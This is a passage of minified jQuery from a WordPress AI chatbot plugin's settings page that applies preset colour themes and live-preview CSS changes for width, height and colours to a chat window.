jQuery('#ai_background_color_b'); ai_background_color.val('#e0e0e0'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#000000'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'dark') { var general_background = jQuery('#general_background_b'); general_background.val('#343541'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#454654'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#454654'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#ffffff'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#ece3ea'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#b2b0b6'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#dddddd'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#343541'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#4d4d56'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#f8f8f8'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'midnight') { var general_background = jQuery('#general_background_b'); general_background.val('#000000'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#191919'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#303030'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#e0e0e0'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#c7c7c7'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#a0a0a0'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#555555'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#222222'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#333333'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#eeeeee'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'sunrise') { var general_background = jQuery('#general_background_b'); general_background.val('#FFDAA5'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#FFB67F'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#FF925B'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#8B572A'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#76351E'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#DA8540'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#A66C2F'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#FFA15C'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#FFC591'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#6F4A29'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'ocean') { var general_background = jQuery('#general_background_b'); general_background.val('#004466'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#006699'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#003355'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#FFFFFF'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#E0F0FF'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#99CCFF'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#CCDDFF'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#0077AA'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#0099CC'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#FFFFFF'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'forest') { var general_background = jQuery('#general_background_b'); general_background.val('#225533'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#448866'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#003322'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#E0FFE0'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#CCFFCC'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#99FF99'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#AADDA0'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#22AA55'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#66CC88'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#002400'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'winter') { var general_background = jQuery('#general_background_b'); general_background.val('#DDEEF9'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#BBD0E7'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#99B4D1'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#223344'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#445566'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#667788'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#8899AA'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#99aec7'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#CCD8E9'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#001122'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'twilight') { var general_background = jQuery('#general_background_b'); general_background.val('#483D8B'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#6A5ACD'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#312A63'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#E0E0FF'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#B0B0E0'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#8A89C7'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#A0A0D0'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#7F7FCC'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#9393D3'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#FAFAFF'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'desert') { var general_background = jQuery('#general_background_b'); general_background.val('#FDEBC6'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#EFC97D'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#D9A75C'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#6B4D35'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#8C7048'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#A48662'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#B5967E'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#E5B769'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#EFD39C'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#6B4D35'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'cosmic') { var general_background = jQuery('#general_background_b'); general_background.val('#2E294E'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#453A6B'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#1B1638'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#CFC7E2'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#A09ABC'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#776888'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#8C80A9'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#5F528A'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#6C5FA5'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#EDE6F4'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'rose') { var general_background = jQuery('#general_background_b'); general_background.val('#FFEBF1'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#FFCCE5'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#FF99CC'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#662244'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#993366'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#CC6699'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#884466'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#FF66AA'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#FFB3D9'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#442233'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'tropical') { var general_background = jQuery('#general_background_b'); general_background.val('#A1FFDE'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#85FFC7'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#5CDCA4'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#26734D'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#2E8B57'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#479077'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#40A080'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#3DB58B'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#8EEAD5'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#004C30'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'facebook') { var general_background = jQuery('#general_background_b'); general_background.val('#1877F2'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#E4E6EB'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#B0B3B8'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#000000'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#1877F2'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#B0B3B8'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#8A8D91'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#1877F2'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#E9ECEF'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#000000'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'twitter') { var general_background = jQuery('#general_background_b'); general_background.val('#15202B'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#1B2936'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#38444D'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#E1E8ED'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#1DA1F2'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#657786'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#657786'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#1DA1F2'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#243447'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#DDE4E8'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'instagram') { var general_background = jQuery('#general_background_b'); general_background.val('#F9F9F9'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#FFFFFF'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#DBDBDB'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#262626'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#C13584'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#8A3AB9'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#8E8E8E'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#C13584'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#EFEFEF'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#262626'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected == 'whatsapp') { var general_background = jQuery('#general_background_b'); general_background.val('#ECE5DD'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#FFFFFF'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#D0D0D0'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#4C4C4C'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#075E54'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#8A8A8A'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#979797'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#DCF8C6'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#F1F1F1'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#4C4C4C'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#121212'); userfontcolorChanged_b(); } else if(selected == 'linkedin') { var general_background = jQuery('#general_background_b'); general_background.val('#F3F6F8'); backgroundChanged2_b(); var background = jQuery('#background_b'); background.val('#FFFFFF'); backgroundChanged_b(); var input_border_color = jQuery('#input_border_color_b'); input_border_color.val('#CED0D4'); bordercolorChanged_b(); var input_text_color = jQuery('#input_text_color_b'); input_text_color.val('#2A2A2A'); inputtextcolorChanged_b(); var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val('#0077B5'); personanamecolorChanged_b(); var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val('#6B6B6B'); personarolecolorChanged_b(); var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val('#8A8A8A'); inputplaceholdercolorChanged_b(); var user_background_color = jQuery('#user_background_color_b'); user_background_color.val('#0077B5'); userbackgroundcolorChanged_b(); var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val('#E8E8E8'); aibackgroundcolorChanged_b(); var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val('#2A2A2A'); aifontcolorChanged_b(); var user_font_color = jQuery('#user_font_color_b'); user_font_color.val('#ffffff'); userfontcolorChanged_b(); } else if(selected != '') { var data = { action: 'aiomatic_get_theme', themeid: selected, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success') { var json_data = JSON.parse(res.msg); if(json_data.general_background !== undefined) { var general_background = jQuery('#general_background_b'); general_background.val(json_data.general_background); backgroundChanged2_b(); } if(json_data.background !== undefined) { var background = jQuery('#background_b'); background.val(json_data.background); backgroundChanged_b(); } if(json_data.input_border_color !== undefined) { var input_border_color = jQuery('#input_border_color_b'); input_border_color.val(json_data.input_border_color); bordercolorChanged_b(); } if(json_data.input_text_color !== undefined) { var input_text_color = jQuery('#input_text_color_b'); input_text_color.val(json_data.input_text_color); inputtextcolorChanged_b(); } if(json_data.persona_name_color !== undefined) { var persona_name_color = jQuery('#persona_name_color_b'); persona_name_color.val(json_data.persona_name_color); personanamecolorChanged_b(); } if(json_data.persona_role_color !== undefined) { var persona_role_color = jQuery('#persona_role_color_b'); persona_role_color.val(json_data.persona_role_color); personarolecolorChanged_b(); } if(json_data.input_placeholder_color !== undefined) { var input_placeholder_color = jQuery('#input_placeholder_color_b'); input_placeholder_color.val(json_data.input_placeholder_color); inputplaceholdercolorChanged_b(); } if(json_data.user_background_color !== undefined) { var user_background_color = jQuery('#user_background_color_b'); user_background_color.val(json_data.user_background_color); userbackgroundcolorChanged_b(); } if(json_data.ai_background_color !== undefined) { var ai_background_color = jQuery('#ai_background_color_b'); ai_background_color.val(json_data.ai_background_color); aibackgroundcolorChanged_b(); } if(json_data.ai_font_color !== undefined) { var ai_font_color = jQuery('#ai_font_color_b'); ai_font_color.val(json_data.ai_font_color); aifontcolorChanged_b(); } if(json_data.user_font_color !== undefined) { var user_font_color = jQuery('#user_font_color_b'); user_font_color.val(json_data.user_font_color); userfontcolorChanged_b(); } if(json_data.submit_color !== undefined) { var submit_color = jQuery('#submit_color_b'); submit_color.val(json_data.submit_color); submitcolorChanged_b(); } if(json_data.voice_color !== undefined) { var voice_color = jQuery('#voice_color_b'); voice_color.val(json_data.voice_color); voicecolorChanged_b(); } if(json_data.voice_color_activated !== undefined) { var voice_color_activated = jQuery('#voice_color_activated_b'); voice_color_activated.val(json_data.voice_color_activated); voicecolorActivatedChanged_b(); } if(json_data.submit_text_color !== undefined) { var submit_text_color = jQuery('#submit_text_color_b'); submit_text_color.val(json_data.submit_text_color); submittextcolorChanged_b(); } } else { alert(res.msg); } }, error: function (r, s, error) { alert('Error in ElevenLabs sync: ' + error); } }); } } function txtbutChanged() { var selected = jQuery('#show_dltxt').val(); var text_input = jQuery('.ai-export-txt'); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } } function mutebutChanged() { var selected = jQuery('#show_mute').val(); var text_input = jQuery('.aiomatic-gg-mute'); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } var text_input = jQuery('.aiomatic-gg-unmute'); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } } function internetChanged() { var selected = jQuery('#show_internet').val(); var text_input = jQuery('.aiomatic-gg-globalist'); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } } function clearbutChanged() { var selected = jQuery('#show_clear').val(); var text_input = jQuery('.ai-clear-chat'); if(selected != undefined && text_input !== null) { if(selected == 'show') { text_input.show(); } else { text_input.hide(); } } } function widthChanged_b() { var selected = jQuery('#width_b').val(); var text_input = jQuery('.openai-ai-form'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/width="([^"]*?)"/g, 'width="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('width', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function heightChanged() { var selected = jQuery('#height').val(); var text_input = jQuery('.aiomatic_chat_history'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('height', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function heightChanged_b() { var selected = jQuery('#height_b').val(); var text_input = jQuery('.aiomatic_chat_history'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/ height="([^"]*?)"/g, ' height="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('height', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function minheightChanged() { var selected = jQuery('#minheight').val(); var text_input = jQuery('.aiomatic_chat_history'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('min-height', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function minheightChanged_b() { var selected = jQuery('#minheight_b').val(); var text_input = jQuery('.aiomatic_chat_history'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/minheight="([^"]*?)"/g, 'minheight="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('min-height', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function backgroundChanged2() { var selected = jQuery('#general_background').val(); var text_input = jQuery('.openai-ai-form'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function backgroundChanged() { var selected = jQuery('#background').val(); var text_input = jQuery('.aiomatic_chat_history'); var text_input2 = jQuery('.chat-form-control'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); var origCSS2 = text_input2.attr("style"); if(origCSS2 === undefined) { origCSS2 = ""; } var updatedCSS2 = updateCSSAttribute('background-color', selected + '!important;', origCSS2); text_input2.attr('style', updatedCSS2); } } function backgroundChanged2_b() { var selected = jQuery('#general_background_b').val(); var text_input = jQuery('.openai-ai-form'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/general_background="([^"]*?)"/g, 'general_background="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function backgroundChanged_b() { var selected = jQuery('#background_b').val(); var text_input = jQuery('.aiomatic_chat_history'); var text_input2 = jQuery('.chat-form-control'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/background="([^"]*?)"/g, 'background="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); var origCSS2 = text_input2.attr("style"); if(origCSS2 === undefined) { origCSS2 = ""; } var updatedCSS2 = updateCSSAttribute('background-color', selected + '!important;', origCSS2); text_input2.attr('style', updatedCSS2); } } function userfontcolorChanged() { var selected = jQuery('#user_font_color').val(); var text_input = jQuery('.ai-bubble.ai-mine'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function userfontcolorChanged_b() { var selected = jQuery('#user_font_color_b').val(); var text_input = jQuery('.ai-bubble.ai-mine'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/user_font_color="([^"]*?)"/g, 'user_font_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function userbackgroundcolorChanged() { var selected = jQuery('#user_background_color').val(); var text_input = jQuery('.ai-bubble.ai-mine'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function userbackgroundcolorChanged_b() { var selected = jQuery('#user_background_color_b').val(); var text_input = jQuery('.ai-bubble.ai-mine'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/user_background_color="([^"]*?)"/g, 'user_background_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function aifontcolorChanged() { var selected = jQuery('#ai_font_color').val(); var text_input = jQuery('.ai-bubble.ai-other'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function aifontcolorChanged_b() { var selected = jQuery('#ai_font_color_b').val(); var text_input = jQuery('.ai-bubble.ai-other'); if(selected != undefined && text_input !== null) { selected = selected.replace(/"/g, "'"); var customized_chatbot = jQuery('#customized_chatbot').text(); if(customized_chatbot !== undefined) { customized_chatbot = customized_chatbot.replace(/ai_font_color="([^"]*?)"/g, 'ai_font_color="' + selected + '"'); jQuery('#customized_chatbot').text(customized_chatbot); } var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('color', selected + '!important;', origCSS); text_input.attr('style', updatedCSS); } } function aibackgroundcolorChanged() { var selected = jQuery('#ai_background_color').val(); var text_input = jQuery('.ai-bubble.ai-other'); if(selected != undefined && text_input !== null) { var origCSS = text_input.attr("style"); if(origCSS === undefined) { origCSS = ""; } var updatedCSS = updateCSSAttribute('background-color', 